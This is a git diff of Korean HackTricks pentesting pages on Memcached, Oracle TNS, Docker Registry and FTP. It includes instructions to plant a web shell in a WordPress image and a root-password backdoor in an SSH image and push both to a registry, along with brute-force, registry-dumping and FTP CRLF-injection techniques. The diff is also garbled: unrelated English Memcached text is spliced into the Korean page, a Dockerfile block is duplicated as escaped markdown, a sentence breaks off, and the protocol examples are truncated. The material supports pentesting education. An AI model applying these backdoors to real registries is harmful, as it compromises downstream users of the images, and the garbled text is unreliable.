| verbosity | 로그 레벨을 높입니다. | `verbosity` |
|
||||
| quit | 세션을 종료합니다. | `quit` |
|
||||
|
||||
#### 트래픽 통계 <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||
**트래픽 통계**
|
||||
|
||||
명령어를 사용하여 현재 트래픽 통계를 조회할 수 있습니다.
|
||||
|
||||
```
|
||||
stats
|
||||
```
|
||||
|
||||
다음은 연결 수, 전송된 바이트 수 등을 제공하는 목록을 받게 됩니다.
|
||||
|
||||
예시 출력:
|
||||
|
||||
```
|
||||
STAT pid 14868
|
||||
STAT uptime 175931
|
||||
|
@ -81,31 +86,34 @@ STAT limit_maxbytes 52428800
|
|||
STAT threads 1
|
||||
END
|
||||
```
|
||||
#### 메모리 통계 <a href="#memory-statistics" id="memory-statistics"></a>
|
||||
|
||||
**메모리 통계**
|
||||
|
||||
현재 메모리 통계를 조회할 수 있습니다.
|
||||
|
||||
```
|
||||
stats slabs
|
||||
```
|
||||
# memcache-commands
|
||||
|
||||
## Introduction
|
||||
## memcache-commands
|
||||
|
||||
### Introduction
|
||||
|
||||
Memcached is a widely used distributed memory caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in memory to reduce the number of times an external data source (such as a database or API) must be accessed.
|
||||
|
||||
This document provides an overview of the most commonly used commands in Memcached and their functionalities.
|
||||
|
||||
## Command List
|
||||
### Command List
|
||||
|
||||
### SET
|
||||
#### SET
|
||||
|
||||
**Command**: `set <key> <flags> <exptime> <bytes> [noreply]`
|
||||
|
||||
**Description**: Stores the specified value in the cache under the given key. The `flags` parameter is used to store metadata about the value, such as its data type or encoding. The `exptime` parameter specifies the expiration time for the value, after which it will be automatically evicted from the cache. The `bytes` parameter indicates the size of the value in bytes. The optional `noreply` parameter can be used to indicate that the server should not send a response.
|
||||
|
||||
**Example**: `set mykey 0 3600 5\r\nhello\r\n`
|
||||
**Example**: `set mykey 0 3600 5\r\nhello\r`
|
||||
|
||||
### GET
|
||||
#### GET
|
||||
|
||||
**Command**: `get <key>`
|
||||
|
||||
|
@ -113,7 +121,7 @@ This document provides an overview of the most commonly used commands in Memcach
|
|||
|
||||
**Example**: `get mykey`
|
||||
|
||||
### DELETE
|
||||
#### DELETE
|
||||
|
||||
**Command**: `delete <key> [noreply]`
|
||||
|
||||
|
@ -121,7 +129,7 @@ This document provides an overview of the most commonly used commands in Memcach
|
|||
|
||||
**Example**: `delete mykey`
|
||||
|
||||
### INCREMENT
|
||||
#### INCREMENT
|
||||
|
||||
**Command**: `incr <key> <value>`
|
||||
|
||||
|
@ -129,7 +137,7 @@ This document provides an overview of the most commonly used commands in Memcach
|
|||
|
||||
**Example**: `incr mykey 10`
|
||||
|
||||
### DECREMENT
|
||||
#### DECREMENT
|
||||
|
||||
**Command**: `decr <key> <value>`
|
||||
|
||||
|
@ -137,33 +145,34 @@ This document provides an overview of the most commonly used commands in Memcach
|
|||
|
||||
**Example**: `decr mykey 5`
|
||||
|
||||
### APPEND
|
||||
#### APPEND
|
||||
|
||||
**Command**: `append <key> <bytes> [noreply]`
|
||||
|
||||
**Description**: Appends the specified value to the value stored in the cache under the given key. The `bytes` parameter indicates the size of the value to be appended. The optional `noreply` parameter can be used to indicate that the server should not send a response.
|
||||
|
||||
**Example**: `append mykey 5\r\nworld\r\n`
|
||||
**Example**: `append mykey 5\r\nworld\r`
|
||||
|
||||
### PREPEND
|
||||
#### PREPEND
|
||||
|
||||
**Command**: `prepend <key> <bytes> [noreply]`
|
||||
|
||||
**Description**: Prepends the specified value to the value stored in the cache under the given key. The `bytes` parameter indicates the size of the value to be prepended. The optional `noreply` parameter can be used to indicate that the server should not send a response.
|
||||
|
||||
**Example**: `prepend mykey 5\r\nhello\r\n`
|
||||
**Example**: `prepend mykey 5\r\nhello\r`
|
||||
|
||||
### CAS
|
||||
#### CAS
|
||||
|
||||
**Command**: `cas <key> <flags> <exptime> <bytes> <cas_unique> [noreply]`
|
||||
|
||||
**Description**: Stores the specified value in the cache under the given key, but only if the value has not been modified since the last retrieval (based on the `cas_unique` parameter). This command is used to implement optimistic concurrency control. The `flags`, `exptime`, and `bytes` parameters have the same meaning as in the `set` command. The optional `noreply` parameter can be used to indicate that the server should not send a response.
|
||||
|
||||
**Example**: `cas mykey 0 3600 5 12345\r\nhello\r\n`
|
||||
**Example**: `cas mykey 0 3600 5 12345\r\nhello\r`
|
||||
|
||||
## Conclusion
|
||||
### Conclusion
|
||||
|
||||
These are some of the most commonly used commands in Memcached. By understanding and utilizing these commands effectively, you can make the most out of Memcached's caching capabilities.
|
||||
|
||||
```
|
||||
STAT 1:chunk_size 80
|
||||
STAT 1:chunks_per_page 13107
|
||||
|
@ -184,15 +193,18 @@ STAT active_slabs 3
|
|||
STAT total_malloced 3145436
|
||||
END
|
||||
```
|
||||
|
||||
만약 memcached 인스턴스에 충분한 메모리가 있는지 확신이 없다면 "stats" 명령어로 제공되는 "evictions" 카운터를 확인하세요. 인스턴스에 충분한 메모리가 있다면 "evictions" 카운터는 0이거나 증가하지 않아야 합니다.
|
||||
|
||||
#### 사용된 키는 어떤 것인가? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
||||
**사용된 키는 어떤 것인가?**
|
||||
|
||||
현재 키 집합을 직접 확인하기 위한 내장 함수는 없습니다. 그러나 다음 명령어를 사용하여 사용된 키를 알 수 있습니다.
|
||||
|
||||
```
|
||||
stats items
|
||||
```
|
||||
## Command to Determine How Many Keys Exist
|
||||
|
||||
### Command to Determine How Many Keys Exist
|
||||
|
||||
To determine the number of keys that exist in a Memcache server, you can use the `stats` command. This command provides statistics about the server, including the total number of keys stored.
|
||||
|
||||
|
@ -209,6 +221,7 @@ STAT items:1:number 10
|
|||
```
|
||||
|
||||
In this example, the Memcache server has a total of 10 keys stored.
|
||||
|
||||
```
|
||||
stats items
|
||||
STAT items:1:number 220
|
||||
|
@ -218,6 +231,7 @@ STAT items:2:age 1405
|
|||
[...]
|
||||
END
|
||||
```
|
||||
|
||||
이는 적어도 어떤 키가 사용되는지 확인하는 데 도움이 됩니다. 이미 memcache에 액세스하는 PHP 스크립트에서 키 이름을 덤프하려면 [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)의 PHP 코드를 사용할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
@ -229,7 +243,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,89 @@
|
|||
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Oracle 데이터베이스 (Oracle DB)는 Oracle Corporation에서 제공하는 관계형 데이터베이스 관리 시스템 (RDBMS)입니다 ([여기](https://www.techopedia.com/definition/8711/oracle-database)에서 확인 가능).
|
||||
|
||||
Oracle을 열거할 때 첫 번째 단계는 일반적으로 기본 포트 (1521/TCP)에 상주하는 TNS-Listener와 대화하는 것입니다 (1522-1529에서도 추가 리스너를 얻을 수 있습니다).
|
||||
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
|
||||
## 요약
|
||||
|
||||
1. **버전 열거**: 알려진 취약점을 찾기 위해 버전 정보를 식별합니다.
|
||||
2. **TNS 리스너 브루트포스**: 통신을 수립하기 위해 때로는 필요합니다.
|
||||
3. **SID 이름 열거/브루트포스**: 데이터베이스 이름 (SID)을 발견합니다.
|
||||
4. **자격 증명 브루트포스**: 발견된 SID에 액세스를 시도합니다.
|
||||
5. **코드 실행**: 시스템에서 코드를 실행하려고 시도합니다.
|
||||
|
||||
MSF 오라클 모듈을 사용하려면 일부 종속성을 설치해야 합니다: [**설치**](https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## 게시물
|
||||
|
||||
다음 게시물을 확인하세요:
|
||||
|
||||
* [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
* [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
* [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
* [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## HackTricks 자동 명령어
|
||||
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Oracle
|
||||
Note: |
|
||||
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
|
||||
|
||||
#great oracle enumeration tool
|
||||
navigate to https://github.com/quentinhardy/odat/releases/
|
||||
download the latest
|
||||
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
|
||||
cd odat-libc2.12-x86_64/
|
||||
./odat-libc2.12-x86_64 all -s 10.10.10.82
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
Description: Nmap with Oracle Scripts
|
||||
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
|
@ -1,4 +1,4 @@
|
|||
# 5000 - Docker 레지스트리 펜테스팅
|
||||
# 5000 - Pentesting Docker Registry
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
@ -21,18 +21,24 @@ HackTricks를 지원하는 다른 방법:
|
|||
**DockerHub**는 Docker의 기본 공개 레지스트리로 작동하지만, 사용자는 온프레미스 버전의 오픈 소스 Docker 레지스트리/배포를 운영하거나 상업적으로 지원되는 **Docker Trusted Registry**를 선택할 수도 있습니다. 또한, 다양한 다른 공개 레지스트리를 온라인에서 찾을 수 있습니다.
|
||||
|
||||
온프레미스 레지스트리에서 이미지를 다운로드하려면 다음 명령을 사용합니다:
|
||||
|
||||
```bash
|
||||
docker pull my-registry:9000/foo/bar:2.1
|
||||
```
|
||||
|
||||
이 명령은 `my-registry` 도메인의 온프레미스 레지스트리에서 포트 `9000`에서 `foo/bar` 이미지 버전 `2.1`을 가져옵니다. 반면에, 동일한 이미지를 DockerHub에서 다운로드하려면 특히 `2.1`이 최신 버전인 경우, 명령은 다음과 같이 간단해집니다:
|
||||
|
||||
```bash
|
||||
docker pull foo/bar
|
||||
```
|
||||
|
||||
**기본 포트:** 5000
|
||||
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5000/tcp open http Docker Registry (API: 2.0)
|
||||
```
|
||||
|
||||
## 발견
|
||||
|
||||
이 서비스를 발견하는 가장 쉬운 방법은 nmap의 출력에서 확인하는 것입니다. 그러나 HTTP 기반 서비스이므로 HTTP 프록시 뒤에 숨겨져 있을 수 있고 nmap은 이를 감지하지 못할 수 있습니다.\
|
||||
|
@ -49,6 +55,7 @@ PORT STATE SERVICE VERSION
|
|||
### HTTP/HTTPS
|
||||
|
||||
도커 레지스트리는 **HTTP** 또는 **HTTPS**를 사용하도록 구성될 수 있습니다. 따라서 해야 할 첫 번째 작업은 **어떤 것**이 구성되어 있는지 **찾는 것**입니다:
|
||||
|
||||
```bash
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
#If HTTPS
|
||||
|
@ -59,9 +66,11 @@ Warning: <FILE>" to save to a file.
|
|||
#If HTTP
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
|
||||
### 인증
|
||||
|
||||
도커 레지스트리는 **인증**을 요구하도록 구성할 수도 있습니다:
|
||||
|
||||
```bash
|
||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||
#If Authentication required
|
||||
|
@ -69,14 +78,18 @@ curl -k https://192.25.197.3:5000/v2/_catalog
|
|||
#If no authentication required
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
|
||||
만약 Docker Registry가 인증을 요구하는 경우 [**다음을 사용하여 브루트 포스를 시도할 수 있습니다**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||
**유효한 자격 증명을 찾으면** 레지스트리를 열거해야 하며, `curl`에서는 다음과 같이 사용할 수 있습니다:
|
||||
|
||||
```bash
|
||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||
```
|
||||
|
||||
### DockerRegistryGrabber를 사용한 열거
|
||||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber)는 도커 레지스트리를 열거하고 덤프하는 데 사용되는 파이썬 도구입니다 (기본 인증을 사용하거나 사용하지 않고).
|
||||
|
||||
```bash
|
||||
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||
|
||||
|
@ -150,9 +163,11 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
|||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
```
|
||||
|
||||
### curl을 사용한 열거
|
||||
|
||||
한 번 **도커 레지스트리에 액세스를 획득한 후** 다음은 열거에 사용할 수 있는 몇 가지 명령어입니다:
|
||||
|
||||
```bash
|
||||
#List repositories
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
|
@ -215,11 +230,13 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
|
|||
#Inspect the insides of each blob
|
||||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
현재 디렉토리에 blobs 파일 및 폴더가 나타납니다. **모든 blobs를 다운로드하고 동일한 폴더에 압축 해제하면 이전에 압축 해제된 blobs의 값이 덮어씌워집니다**, 따라서 주의하십시오. 각 blob를 별도의 폴더 내에서 압축 해제하여 각 blob의 정확한 내용을 검사하는 것이 흥미로울 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 도커를 사용한 열거
|
||||
|
||||
```bash
|
||||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||||
docker pull 10.10.10.10:5000/ubuntu
|
||||
|
@ -238,6 +255,7 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
|||
docker ps #Using a different shell
|
||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||
```
|
||||
|
||||
### WordPress 이미지에 백도어 심기
|
||||
|
||||
만약 Docker Registry에서 워드프레스 이미지를 발견했다면 백도어를 심을 수 있습니다.\
|
||||
|
@ -259,45 +277,38 @@ RUN chmod 777 /app/shell.php
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**새 이미지를** 만들고, **생성**되었는지 확인하고 **푸시(push)**하세요:
|
||||
**새 이미지를** 만들고, **생성**되었는지 확인하고 \*\*푸시(push)\*\*하세요:
|
||||
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/wordpress .
|
||||
#Create
|
||||
docker images
|
||||
docker push registry:5000/wordpress #Push it
|
||||
```
|
||||
|
||||
### SSH 서버 이미지에 백도어 설치
|
||||
|
||||
만약 SSH 이미지가 있는 Docker 레지스트리를 발견했다고 가정하고 백도어를 설치하고 싶다면,\
|
||||
이미지를 **다운로드**하고 **실행**하세요:
|
||||
|
||||
```bash
|
||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||
```
|
||||
|
||||
SSH 이미지에서 `sshd_config` 파일을 추출합니다:
|
||||
|
||||
```bash
|
||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||
```
|
||||
|
||||
그리고 다음과 같이 설정을 변경하십시오: `PermitRootLogin yes`
|
||||
|
||||
다음과 같은 **Dockerfile**을 만드십시오:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Dockerfile" %}
|
||||
```bash
|
||||
FROM 10.10.10.10:5000/sshd-docker-cli
|
||||
COPY sshd_config /etc/ssh/
|
||||
RUN echo root:password | chpasswd
|
||||
```
|
||||
**이미지를** 새로 만들고, 만들어졌는지 **확인**하고 **푸시(push)**하세요:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||||
#Create
|
||||
docker images
|
||||
docker push registry:5000/sshd-docker-cli #Push it
|
||||
```
|
||||
## 참고 자료
|
||||
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||
|
||||
|
||||
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*이미지를\*\* 새로 만들고, 만들어졌는지 \*\*확인\*\*하고 \*\*푸시(push)\*\*하세요: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## 참고 자료 \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -308,7 +319,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **💬** [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)**에 가입하거나** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** 트위터\*\* 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 21 - FTP Pentesting
|
||||
# 21 - Pentesting FTP
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -7,14 +7,14 @@
|
|||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,22 +22,27 @@
|
|||
|
||||
## 기본 정보
|
||||
|
||||
**파일 전송 프로토콜 (FTP)**는 서버와 클라이언트 간의 컴퓨터 네트워크를 통한 파일 전송을 위한 표준 프로토콜로 작동합니다.\
|
||||
**평문** 프로토콜로, **새 줄 문자 `0x0d 0x0a`**를 사용하므로 때로는 **`telnet`** 또는 **`nc -C`**를 사용하여 연결해야 할 수 있습니다.
|
||||
\*\*파일 전송 프로토콜 (FTP)\*\*는 서버와 클라이언트 간의 컴퓨터 네트워크를 통한 파일 전송을 위한 표준 프로토콜로 작동합니다.\
|
||||
**평문** 프로토콜로, \*\*새 줄 문자 `0x0d 0x0a`\*\*를 사용하므로 때로는 **`telnet`** 또는 \*\*`nc -C`\*\*를 사용하여 연결해야 할 수 있습니다.
|
||||
|
||||
**기본 포트:** 21
|
||||
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
21/tcp open ftp
|
||||
```
|
||||
|
||||
### 활성 및 수동 연결
|
||||
|
||||
**활성 FTP**에서 FTP **
|
||||
**활성 FTP**에서 FTP \*\*
|
||||
|
||||
```bash
|
||||
nc -vn <IP> 21
|
||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||
```
|
||||
|
||||
### Starttls를 사용하여 FTP에 연결하기
|
||||
|
||||
```
|
||||
lftp
|
||||
lftp :~> set ftp:ssl-force true
|
||||
|
@ -47,13 +52,17 @@ lftp 10.10.10.208:~> login
|
|||
Usage: login <user|URL> [<pass>]
|
||||
lftp 10.10.10.208:~> login username Password
|
||||
```
|
||||
|
||||
### 인증되지 않은 열거
|
||||
|
||||
**nmap**을 사용하여
|
||||
|
||||
```bash
|
||||
sudo nmap -sV -p21 -sC -A 10.10.10.10
|
||||
```
|
||||
|
||||
다음 명령어 `HELP`와 `FEAT`를 사용하여 FTP 서버의 일부 정보를 얻을 수 있습니다:
|
||||
|
||||
```
|
||||
HELP
|
||||
214-The following commands are recognized (* =>'s unimplemented):
|
||||
|
@ -89,11 +98,13 @@ SIZE
|
|||
STAT
|
||||
#Info about the FTP server (version, configs, status...)
|
||||
```
|
||||
|
||||
### 익명 로그인
|
||||
|
||||
_anonymous : anonymous_\
|
||||
_anonymous :_\
|
||||
_ftp : ftp_
|
||||
|
||||
```bash
|
||||
ftp <IP>
|
||||
>anonymous
|
||||
|
@ -103,6 +114,7 @@ ftp <IP>
|
|||
>ascii #Set transmission to ascii instead of binary
|
||||
>bye #exit
|
||||
```
|
||||
|
||||
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
||||
|
||||
여기에서 기본 ftp 자격 증명이 포함 된 좋은 목록을 찾을 수 있습니다: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
|
@ -110,26 +122,34 @@ ftp <IP>
|
|||
### 자동화
|
||||
|
||||
nmap은 **-sC** 옵션 또는 기본적으로 Anon 로그인 및 바운스 FTP 확인을 수행합니다.
|
||||
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
|
||||
## 브라우저 연결
|
||||
|
||||
다음과 같은 URL을 사용하여 브라우저(예: Firefox)를 통해 FTP 서버에 연결할 수 있습니다:
|
||||
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
|
||||
**웹 애플리케이션이** 사용자가 제어하는 데이터를 **직접 FTP 서버로 전송**하는 경우 이중 URL 인코딩된 `%0d%0a` (이중 URL 인코딩된 경우 `%250d%250a`) 바이트를 전송하여 **FTP 서버가 임의의 작업을 수행**하도록 할 수 있습니다. 이러한 임의의 작업 중 하나는 사용자가 제어하는 서버에서 콘텐츠를 다운로드하거나 포트 스캐닝을 수행하거나 다른 평문 기반 서비스(예: http)와 통신을 시도하는 것입니다.
|
||||
|
||||
## FTP에서 모든 파일 다운로드
|
||||
|
||||
```bash
|
||||
